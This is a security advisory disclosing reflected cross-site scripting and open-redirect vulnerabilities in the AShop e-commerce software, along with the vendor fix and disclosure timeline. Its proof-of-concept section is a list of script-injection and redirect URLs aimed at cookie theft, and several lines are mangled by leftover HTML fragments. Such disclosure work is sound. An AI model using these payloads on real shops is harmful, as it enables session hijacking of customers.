Multiple security vulnerabilities in AShop
Advisory: Multiple security vulnerabilities in AShop
Advisory ID: INFOSERVE-ADV2011-02
Author: Stefan Schurtz
Contact: security@infoserve.de
Affected Software: Successfully tested on AShop513
Vendor URL: http://www.ashopsoftware.com/
Vendor Status: fixed in Version 5.1.4
==========================
Vulnerability Description:
==========================
AShop is prone to multiple security vulnerabilities.
==================
PoC-Exploit
==================
Cross-Site-Scripting
IE8
alert(document.cookie)" rel="nofollow">http://<target>/ashop/?'"<script>alert(document.cookie)</script>
alert(document.cookie)" rel="nofollow">http://<target>/ashop/index.php?'"<script>alert(document.cookie)</script>
http://<target>/ashop/picture.php?picture=" stYle=x:expre/**/ssion(alert(document.cookie)) ns="
alert(document.cookie)" rel="nofollow">http://<target>/ashop/index.php?language='"<script>alert(document.cookie)</script>
FF 7.1
&resultpage=&categories=off&msg=&search=index.php&shop=1" rel="nofollow">http://<target>/ashop/index.php?searchstring=1&showresult=true&exp='"</script><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.php&shop=1
&msg=" rel="nofollow">http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage='"</script><script>alert(document.cookie)</script>&msg=
" rel="nofollow">http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg='"</script><script>alert(document.cookie)</script>
&shop=1&payoption=3" rel="nofollow">http://<target>/ashop/basket.php?cat=0&sid='"</script><script>alert(document.cookie)</script>&shop=1&payoption=3
Open Redirection
http://<target>/ashop/language.php?language=sv&redirect=http://www.google.com
http://<target>/ashop/currency.php?currency=aud&redirect=http://www.google.com
http://<target>/ashop/currency.php?redirect=http://www.google.com
=========
Solution:
=========
Upgrade to the latest Version 5.1.4
====================
Disclosure Timeline:
====================
04-Nov-2011 - informed vendor by contact form
08-Nov-2011 - second contact attempt
09-Nov-2011 - vendor fix
========
Credits:
========
Vulnerabilities found and advisory written by the INFOSERVE Security Team
===========
References:
===========
http://www.ashopsoftware.com/
http://sourceforge.net/projects/ashop/files/